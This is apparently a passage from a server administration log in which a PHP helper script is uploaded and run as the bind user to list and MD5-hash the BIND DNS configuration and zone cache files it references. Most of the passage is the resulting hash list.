MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:22:47: Establishing a connection
2026-04-25 19:22:47: 

PUT: /tmp/pkp101989

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:22:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp101989; rm /tmp/pkp101989'

2026-04-25 19:22:47: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
